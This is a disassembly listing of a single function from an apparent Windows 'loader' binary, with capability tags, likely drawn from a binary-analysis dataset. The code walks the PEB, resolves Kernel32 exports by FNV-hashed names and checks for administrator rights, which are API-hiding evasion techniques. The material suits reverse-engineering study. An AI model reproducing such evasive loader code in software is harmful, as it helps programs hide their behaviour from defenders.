Function at 0x140002440
Capabilities:
Access peb ldr_data
Encode data using xor
Get token membership
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push r15
sub rsp, 0xc0
mov rax, qword [0x14006e700]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov qword [r11 + 8], rbx
lea rdx, [0x140062394]
mov qword [r11 + 0x10], rbp
xor ecx, ecx
mov qword [r11 + 0x18], rsi
mov qword [r11 - 0x10], rdi
mov qword [r11 - 0x28], r14
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
call fcn.140003bc0
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x140062398]
lea rcx, str.CONOUT_
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
mov rcx, qword [0x140054370]
lea rdx, str.vm::start____
call fcn.140001950
mov rbx, rax
call fcn.140003bc0
movzx edx, al
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x1400623a8]
call fcn.140001950
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14000258a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000258a
mov ebp, dword [rsi + 0x20]
dec r11d
mov r10d, 0xd88313e8
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rbp]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140002585
nop dword [rax]
nop word [rax + rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140002550
cmp r10d, 0x184178aa
je 0x140002592
test r11d, r11d
jne 0x140002523
mov rax, qword [rax]
jmp 0x140002500
mov ecx, dword [rsi + 0x24]
add rcx, rbx
mov qword [rsp + 0xb0], r12
mov qword [rsp + 0xa8], r13
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rcx, str.Kernel32.dll
add rax, rbx
call rax
mov r10, qword [0x140161e78]
xor r15d, r15d
mov qword [rsp + 0x60], rax
mov r14, rax
test r10, r10
jne 0x1400027d1
mov rcx, qword gs:[0x60]
mov ebp, r15d
mov ebx, 0x9386bcae
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r13, qword [rcx]
mov r14, r13
nop dword [rax]
movups xmm0, xmmword [r14 + 0x58]
movd eax, xmm0
movups xmmword [rsp + 0x68], xmm0
sub ax, 8
test ebp, ebp
je 0x14000265e
mov r8, qword [rsp + 0x70]
mov r9d, 0xf0f595ce
movzx eax, ax
shr rax, 1
lea r10, [r8 + rax*2]
cmp r8, r10
je 0x140002655
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
add r8, 2
xor edx, r9d
imul r9d, edx, 0x1000193
cmp r8, r10
jne 0x140002630
cmp r9d, ebp
jne 0x1400027a9
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r12, rcx
mov edi, ecx
shr r12, 0x20
add rdi, r11
cmp rdi, r11
je 0x1400027a9
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x1400027a9
mov r15d, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
mov r9d, 0xf0f595ce
lea rax, [r11 + r10*4]
mov r8d, dword [rax + r15]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400026e8
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x1400026c0
cmp r9d, ebx
je 0x1400026f7
test r10d, r10d
jne 0x1400026a0
jmp 0x1400027a9
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rdi
jbe 0x140002892
lea rax, [r12 + rdi]
cmp r10, rax
jae 0x140002892
movzx edx, byte [r10]
mov ebp, 0xf0f595ce
mov ebx, ebp
cmp dl, 0x2e
je 0x140002766
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r10 + 1]
cmova ecx, eax
inc r10
xor ecx, ebp
imul ebp, ecx, 0x1000193
cmp dl, 0x2e
jne 0x140002740
movzx edx, byte [r10 + 1]
inc r10
test dl, dl
je 0x1400027a5
nop dword [rax]
nop word [rax + rax]
movsx eax, dl
lea r10, [r10 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r10]
cmova ecx, eax
xor ecx, ebx
imul ebx, ecx, 0x1000193
test dl, dl
jne 0x140002780
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x1400027bf
cmp qword [rax + 0x30], 0
jne 0x140002600
xor r15d, r15d
mov r10d, r15d
mov r14, qword [rsp + 0x60]
mov qword [0x140161e78], r10
mov qword [rsp + 0x28], r15
lea r8, [0x1400037f0]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14000288a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000288a
mov ebp, dword [rsi + 0x20]
dec r11d
mov r10d, 0x7020f990
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rbp]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140002885
nop dword [rax]
nop word [rax + rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140002850
cmp r10d, 0x7aced3f1
je 0x14000289a
test r11d, r11d
jne 0x140002823
mov rax, qword [rax]
jmp 0x140002800
xor r15d, r15d
jmp 0x1400027c5
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
mov rcx, r14
add rax, rbx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14000295a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000295a
mov ebp, dword [rsi + 0x20]
dec r11d
mov r10d, 0x4574ccca
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rbp]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140002955
nop dword [rax]
nop word [rax + rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140002920
cmp r10d, 0x348525ac
je 0x140002962
test r11d, r11d
jne 0x1400028f3
mov rax, qword [rax]
jmp 0x1400028d0
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rcx, str.Kernel32.dll
add rax, rbx
call rax
mov r10, qword [0x140161e80]
mov rbp, rax
mov qword [rsp + 0x60], rax
test r10, r10
jne 0x140002b91
mov rcx, qword gs:[0x60]
mov ebp, r15d
mov ebx, 0x18db366e
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r13, qword [rcx]
mov r14, r13
nop dword [rax]
movups xmm0, xmmword [r14 + 0x58]
movd eax, xmm0
movups xmmword [rsp + 0x68], xmm0
sub ax, 8
test ebp, ebp
je 0x140002a1e
mov r8, qword [rsp + 0x70]
mov r9d, 0xb316a58e
movzx eax, ax
shr rax, 1
lea r10, [r8 + rax*2]
cmp r8, r10
je 0x140002a15
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
add r8, 2
xor edx, r9d
imul r9d, edx, 0x1000193
cmp r8, r10
jne 0x1400029f0
cmp r9d, ebp
jne 0x140002b69
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r12, rcx
mov edi, ecx
shr r12, 0x20
add rdi, r11
cmp rdi, r11
je 0x140002b69
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x140002b69
mov r15d, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
mov r9d, 0xb316a58e
lea rax, [r11 + r10*4]
mov r8d, dword [rax + r15]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140002aa8
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140002a80
cmp r9d, ebx
je 0x140002ab7
test r10d, r10d
jne 0x140002a60
jmp 0x140002b69
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rdi
jbe 0x140002c52
lea rax, [rdi + r12]
cmp r10, rax
jae 0x140002c52
movzx edx, byte [r10]
mov ebp, 0xb316a58e
mov ebx, ebp
cmp dl, 0x2e
je 0x140002b26
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r10 + 1]
cmova ecx, eax
inc r10
xor ecx, ebp
imul ebp, ecx, 0x1000193
cmp dl, 0x2e
jne 0x140002b00
movzx edx, byte [r10 + 1]
inc r10
test dl, dl
je 0x140002b65
nop dword [rax]
nop word [rax + rax]
movsx eax, dl
lea r10, [r10 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r10]
cmova ecx, eax
xor ecx, ebx
imul ebx, ecx, 0x1000193
test dl, dl
jne 0x140002b40
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x140002b7f
cmp qword [rax + 0x30], 0
jne 0x1400029c0
xor r15d, r15d
mov r10d, r15d
mov rbp, qword [rsp + 0x60]
mov qword [0x140161e80], r10
mov qword [rsp + 0x28], r15
lea r8, [0x1400037b0]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x140002c4a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140002c4a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0xe112b8be
lea rcx, [r14 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140002c45
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140002c10
cmp r10d, 0xb0d4b727
je 0x140002c5a
test r11d, r11d
jne 0x140002bf0
mov rax, qword [rax]
jmp 0x140002bc0
xor r15d, r15d
jmp 0x140002b85
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
mov rcx, rbp
add rax, rbx
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x140002d1a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140002d1a
mov r14d, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r11d
mov r10d, 0xd295177
lea rcx, [r14 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140002d15
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140002ce0
cmp r10d, 0x5db091c9
je 0x140002d22
test r11d, r11d
jne 0x140002cc0
mov rax, qword [rax]
jmp 0x140002c90
mov edx, dword [rsi + 0x24]
lea rcx, str.Kernel32.dll
add rdx, rbx
movzx r8d, word [rdx + r11*2]
mov edx, dword [rsi + 0x1c]
add rdx, rbx
mov eax, dword [rdx + r8*4]
add rax, rbx
call rax
mov r10, qword [0x140161e70]
mov r14, rax
mov qword [rsp + 0x60], rax
test r10, r10
jne 0x140002f51
mov rcx, qword gs:[0x60]
mov ebp, r15d
mov ebx, 0x847e1242
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r13, qword [rcx]
mov r14, r13
nop word [rax + rax]
movups xmm0, xmmword [r14 + 0x58]
movd eax, xmm0
movups xmmword [rsp + 0x68], xmm0
sub ax, 8
test ebp, ebp
je 0x140002dde
mov r8, qword [rsp + 0x70]
mov r9d, 0x74793052
movzx eax, ax
shr rax, 1
lea r10, [r8 + rax*2]
cmp r8, r10
je 0x140002dd5
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
add r8, 2
xor edx, r9d
imul r9d, edx, 0x1000193
cmp r8, r10
jne 0x140002db0
cmp r9d, ebp
jne 0x140002f29
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rcx, qword [rax + r11 + 0x88]
mov r12, rcx
mov edi, ecx
shr r12, 0x20
add rdi, r11
cmp rdi, r11
je 0x140002f29
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x140002f29
mov r15d, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
mov r9d, 0x74793052
lea rax, [r11 + r10*4]
mov r8d, dword [rax + r15]
add r8, r11
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140002e68
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140002e40
cmp r9d, ebx
je 0x140002e77
test r10d, r10d
jne 0x140002e20
jmp 0x140002f29
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov r10d, dword [rcx + rdx*4]
add r10, r11
cmp r10, rdi
jbe 0x140003022
lea rax, [r12 + rdi]
cmp r10, rax
jae 0x140003022
movzx edx, byte [r10]
mov ebp, 0x74793052
mov ebx, ebp
cmp dl, 0x2e
je 0x140002ee6
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r10 + 1]
cmova ecx, eax
inc r10
xor ecx, ebp
imul ebp, ecx, 0x1000193
cmp dl, 0x2e
jne 0x140002ec0
movzx edx, byte [r10 + 1]
inc r10
test dl, dl
je 0x140002f25
nop dword [rax]
nop word [rax + rax]
movsx eax, dl
lea r10, [r10 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r10]
cmova ecx, eax
xor ecx, ebx
imul ebx, ecx, 0x1000193
test dl, dl
jne 0x140002f00
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x140002f3f
cmp qword [rax + 0x30], 0
jne 0x140002d80
xor r15d, r15d
mov r10d, r15d
mov r14, qword [rsp + 0x60]
mov qword [0x140161e70], r10
mov qword [rsp + 0x28], r15
lea r8, [0x140003760]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword gs:[0x60]
mov r13, qword [rsp + 0xa8]
mov r12, qword [rsp + 0xb0]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x14000301a
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x14000301a
mov ebp, dword [rsi + 0x20]
dec r11d
mov r10d, 0x22ca3c10
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rbp]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140003015
nop dword [rax]
nop word [rax + rax]
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140002fe0
cmp r10d, 0xe178bf71
je 0x14000302a
test r11d, r11d
jne 0x140002fb3
mov rax, qword [rax]
jmp 0x140002f90
xor r15d, r15d
jmp 0x140002f45
mov ecx, dword [rsi + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
mov rcx, r14
add rax, rbx
call rax
lea rax, [rsp + 0x78]
mov dword [rsp + 0x84], 0
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x84]
mov dword [rsp + 0x48], r15d
mov r9d, 0x220
mov dword [rsp + 0x40], r15d
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x38], r15d
mov dl, 2
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov word [rsp + 0x88], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov r14, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xd0]
test eax, eax
je 0x14000311e
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x80]
xor ecx, ecx
mov dword [rsp + 0x80], r15d
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rsp + 0x80]
test eax, eax
cmove ecx, r15d
mov dword [rsp + 0x80], ecx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x80], 0
je 0x14000311e
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003111
lea rdx, str.You_have_started_the_loader_without_administrator_rights_
call fcn.140004090
call fcn.140004550
int3